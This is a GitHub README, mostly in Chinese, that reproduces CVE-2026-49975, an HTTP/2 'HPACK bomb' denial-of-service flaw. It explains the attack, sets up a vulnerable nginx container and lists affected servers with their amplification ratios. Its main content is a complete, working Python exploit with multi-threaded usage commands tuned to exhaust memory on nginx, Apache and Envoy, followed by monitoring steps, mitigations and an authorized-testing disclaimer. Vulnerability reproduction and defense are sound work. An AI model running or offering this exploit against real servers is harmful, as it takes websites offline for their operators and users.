razureink/cve-2026-49975-http2bomb_reproduction
GitHub: razureink/cve-2026-49975-http2bomb_reproduction
该项目提供了 CVE-2026-49975(HTTP/2 Bomb)远程拒绝服务漏洞的详细复现指南、环境搭建方法及 PoC 利用代码。
Stars: 0 | Forks: 0
# CVE-2026-49975 (HTTP/2 Bomb) 完整复现指南
# 基于奇安信 CERT 通告 + Calif 原创研究
# ================================================================
## 一、漏洞概述
CVE-2026-49975 (QVD-2026-30962) 是由安全研究员 Quang Luong (Calif) 发现的一个 HTTP/2 协议层拒绝服务漏洞。奇安信威胁情报中心的研究人员已成功复现了针对 Nginx 的单连接 HTTP/2 Bomb DoS 攻击。
- CVSS 3.1: 9.8 (严重)
- 影响规模: 数十万个网站
- PoC/EXP 状态: 公开
- 利用条件: 无需身份验证,单连接即可
## 二、攻击原理 (两阶段组合)
### 阶段 1: HPACK 索引引用炸弹
HPACK (RFC 7541) 使用动态表来存储先前发送的头部信息。发送方只需发送一个 **1 字节的索引号**,接收方就会从动态表中检索完整的头部信息并为其分配内存。
**核心洞察** — 此漏洞的本质:
- 传统的 HPACK 炸弹: 将**大体积值**塞入动态表并反复引用 → 被“最大解码大小”限制拦截
- **此漏洞变体**: 将**几乎为空**的头部信息塞入动态表,然后反复引用它们
- 每次引用都会触发**针对每个条目的内存分配开销** (~70-5700 字节)
- “最大解码大小”限制**不会触发**,因为几乎没有需要解码的内容
### 阶段 2: HTTP/2 流控窗口停顿
攻击者声明一个零字节的接收窗口 (`SETTINGS_INITIAL_WINDOW_SIZE=0`),阻止服务器发送响应或释放内存。然后定期发送 **1 字节的 `WINDOW_UPDATE` 帧**来重置服务器的发送超时计时器,从而无限期地锁定这些内存分配。
## 三、受影响的服务器
| 服务器 | 放大倍率 | 演示效果 | 修复状态 |
|--------|--------------|-------------|------------|
| Envoy 1.37.2 | ~5,700:1 | ~10秒内消耗 32GB | 披露时无补丁 |
| Apache httpd 2.4.67 | ~4,000:1 | ~18秒内消耗 32GB | 已在 mod_http2 v2.0.41 中修复 |
| nginx < 1.29.8 | ~70:1 | ~45秒内消耗 32GB | 已在 nginx 1.29.8 中修复 |
| Microsoft IIS (WS 2025) | ~68:1 | ~45秒内消耗 64GB | 披露时无补丁 |
| Cloudflare Pingora <= 0.8.0 | ~68:1 | - | 披露时无补丁 |
## 四、环境搭建 (目标机)
### nginx 目标 (易受攻击版本)
```
# Deploy nginx 1.29.7 using Docker
docker run -d --name nginx-h2-vuln \
-p 8443:443 \
nginx:1.29.7
# Key nginx.conf configuration
server {
listen 443 ssl http2;
ssl_certificate /etc/nginx/ssl/server.crt;
ssl_certificate_key /etc/nginx/ssl/server.key;
}
```
### 自签名证书
```
openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout server.key -out server.crt \
-subj "/CN=localhost"
```
## 五、利用代码
以下代码基于公开的技术细节实现,**仅用于授权的安全测试**。
#!/usr/bin/env python3
"""
CVE-2026-49975 HTTP/2 Bomb PoC
基于 HPACK 索引引用炸弹 + 流控窗口停顿
原理:
1. 通过 TLS ALPN 协商 h2
2. 发送 SETTINGS [INITIAL_WINDOW_SIZE=0] 设置零窗口
3. 将一个几乎为空的头部插入 HPACK 动态表
4. 发送数以千计的 1 字节索引引用,每次都会触发服务器内存分配
5. 定期发送 1 字节 WINDOW_UPDATE 以保持连接存活
用法:
python3 exploit.py target.com 443
python3 exploit.py target.com 443 --mode nginx --threads 50 --streams 30 --headers 16374
python3 exploit.py target.com 443 --mode classic --threads 20 --streams 30 --headers 5000
警告: 仅用于授权的安全测试!
"""
import socket
import ssl
import struct
import threading
import time
import argparse
HTTP2_PREFACE = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'
FRAME_SETTINGS = 0x4
FRAME_HEADERS = 0x1
FRAME_WINDOW_UPDATE = 0x8
SETTINGS_INITIAL_WINDOW_SIZE = 0x4
def encode_frame(frame_type, flags, stream_id, payload):
"""编码 HTTP/2 帧"""
length = len(payload)
header = struct.pack('>I', length)[1:] + struct.pack('>BBI', frame_type, flags, stream_id & 0x7FFFFFFF)
return header + payload
def encode_settings(settings):
"""编码 SETTINGS 帧负载"""
payload = b''
for identifier, value in settings:
payload += struct.pack('>HI', identifier, value)
return payload
def encode_window_update(stream_id, increment):
"""编码 WINDOW_UPDATE 帧"""
payload = struct.pack('>I', increment & 0x7FFFFFFF)
return encode_frame(FRAME_WINDOW_UPDATE, 0x0, stream_id, payload)
def make_hpack_seed():
"""构造 HPACK 动态表种子 - 插入几乎为空的头部"""
name = b'x-bomb'
value = b'' # 空值!解码大小限制不会触发
block = bytes([0x40]) # 增量索引标志
block += bytes([len(name)]) + name
block += bytes([len(value)]) + value
return block
def make_hpack_bomb(references_count):
"""构造 HPACK 炸弹: 种子 + N 个 1 字节索引引用"""
seed = make_hpack_seed()
# 动态表索引 62 -> 0xbe (0x80 | 62)
refs = bytes([0xbe] * references_count)
return seed + refs
def make_headers_frame(stream_id, hpack_block):
flags = 0x4 # END_HEADERS
return encode_frame(FRAME_HEADERS, flags, stream_id, hpack_block)
def attack_connection(target, port, streams, headers_per_stream, hold_time, use_ssl=True):
try:
sock = socket.create_connection((target, port), timeout=30)
```
if use_ssl:
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
context.set_alpn_protocols(['h2'])
sock = context.wrap_socket(sock, server_hostname=target)
negotiated = sock.selected_alpn_protocol()
if negotiated != 'h2':
print(f"[!] ALPN negotiation failed: {negotiated}")
return
print(f"[+] ALPN negotiation successful: {negotiated}")
# Send HTTP/2 connection preface
sock.sendall(HTTP2_PREFACE)
# ===== KEY: Send SETTINGS [INITIAL_WINDOW_SIZE=0] to set zero window =====
settings = [(SETTINGS_INITIAL_WINDOW_SIZE, 0)]
settings_frame = encode_frame(FRAME_SETTINGS, 0x0, 0, encode_settings(settings))
sock.sendall(settings_frame)
time.sleep(0.5)
# Send SETTINGS ACK
ack_frame = encode_frame(FRAME_SETTINGS, 0x1, 0, b'')
sock.sendall(ack_frame)
print(f"[+] Connection established, sending bomb payload...")
# Construct HPACK bomb
hpack_block = make_hpack_bomb(headers_per_stream)
# Send HEADERS frames on multiple streams
for i in range(streams):
stream_id = (i + 1) * 2 - 1
headers_frame = make_headers_frame(stream_id, hpack_block)
sock.sendall(headers_frame)
print(f"[+] Sent bomb payload on {streams} streams")
# Keep connection alive, periodically send WINDOW_UPDATE to prevent timeout
start_time = time.time()
update_count = 0
while time.time() - start_time < hold_time:
time.sleep(1)
for i in range(min(streams, 10)):
stream_id = (i + 1) * 2 - 1
wu_frame = encode_window_update(stream_id, 1)
try:
sock.sendall(wu_frame)
update_count += 1
except:
break
if update_count % 10 == 0:
elapsed = time.time() - start_time
print(f"[*] Held for {elapsed:.1f}s, WINDOW_UPDATE sent: {update_count}")
print(f"[+] Attack completed, hold time: {hold_time}s")
except Exception as e:
print(f"[!] Connection error: {e}")
finally:
try: sock.close()
except: pass
```
def main():
parser = argparse.ArgumentParser(description='CVE-2026-49975 HTTP/2 Bomb PoC')
parser.add_argument('target', help='目标主机')
parser.add_argument('port', type=int, help='目标端口')
parser.add_argument('--threads', type=int, default=1, help='并行连接数')
parser.add_argument('--streams', type=int, default=10, help='每个连接的流数')
parser.add_argument('--headers', type=int, default=5000, help='每个流的 HPAC 索引引用数')
parser.add_argument('--hold', type=int, default=30, help='连接保持时间 (秒)')
parser.add_argument('--no-ssl', action='store_true', help='禁用 TLS (h2c)')
```
args = parser.parse_args()
print("=" * 60)
print("CVE-2026-49975 HTTP/2 Bomb PoC")
print("For authorized security testing only!")
print("=" * 60)
amplification = 70 # nginx bookkeeping
total_streams = args.threads * args.streams
estimated_ram_mb = total_streams * args.headers * amplification / (1024 * 1024)
print(f"[*] Estimated server memory consumption: ~{estimated_ram_mb:.0f} MB")
print()
threads = []
for i in range(args.threads):
t = threading.Thread(
target=attack_connection,
args=(args.target, args.port, args.streams, args.headers, args.hold, not args.no_ssl)
)
t.start()
threads.append(t)
time.sleep(0.5)
for t in threads:
t.join()
print("[+] All attack threads completed")
```
if __name__ == '__main__':
main()
## 六、使用方法
### 基础测试 (单连接)
```
python3 exploit.py target.com 443
```
### 针对 nginx 的攻击 (推荐)
```
python3 exploit.py target.com 443 \
--threads 50 \
--streams 30 \
--headers 16374 \
--hold 60
```
- `--headers 16374`: 保持在默认的 `http2_max_header_size 16k` 范围内
- 预计内存消耗: 50 x 30 x 16374 x 70 / 1024^2 ≈ **1,647 MB**
### 针对 Apache/Envoy 的攻击 (高放大倍率)
```
python3 exploit.py target.com 443 \
--threads 20 \
--streams 30 \
--headers 5000 \
--hold 60
```
## 七、验证攻击效果
```
# Monitor nginx worker memory
for p in $(pgrep -f "nginx: worker"); do
grep VmRSS /proc/$p/status;
done
# Or use docker stats
docker stats --no-stream nginx-h2-vuln
```
**观察指标**:
- 攻击前: nginx worker RSS ~3-6 MB
- 攻击后: RSS 飙升至数百 MB 甚至 GB
- 无法建立新连接或响应极其缓慢
## 八、缓解措施
1. **nginx**: 升级至 1.29.8+,引入了 `max_headers` 指令 (默认 1000)
2. **Apache httpd**: 升级至 mod_http2 v2.0.41+,Cookie 头部会被计入 `LimitRequestFields`
3. **临时缓解**: 禁用 HTTP/2 并回退到 HTTP/1.1,或部署具有严格头部数量限制的反向代理/CDN
## 九、免责声明
本复现指南仅用于授权的安全测试、漏洞研究和教育目的。对任何系统进行未经授权的攻击都是违法的。
## 参考资料
1. 奇安信 CERT: HTTP/2 Bomb 远程拒绝服务漏洞 (CVE-2026-49975) 安全风险通告
2. Calif 博客: Codex 发现了隐藏的 HTTP/2 炸弹
3. GitHub: califio/publications/tree/main/MADBugs/http2-bomb
4. RFC 7541: HPACK
5. RFC 9113: HTTP/2
中文版本。
## CVE-2026-49975 复现方案
详细复现步骤请查看:[CVE-2026-49975 复现方案](./CVE-2026-49975_复现方案.md)
标签:HTTP/2, Nginx, PoC, 安全测试工具, 拒绝服务攻击, 暴力破解, 请求拦截, 逆向工具, 配置错误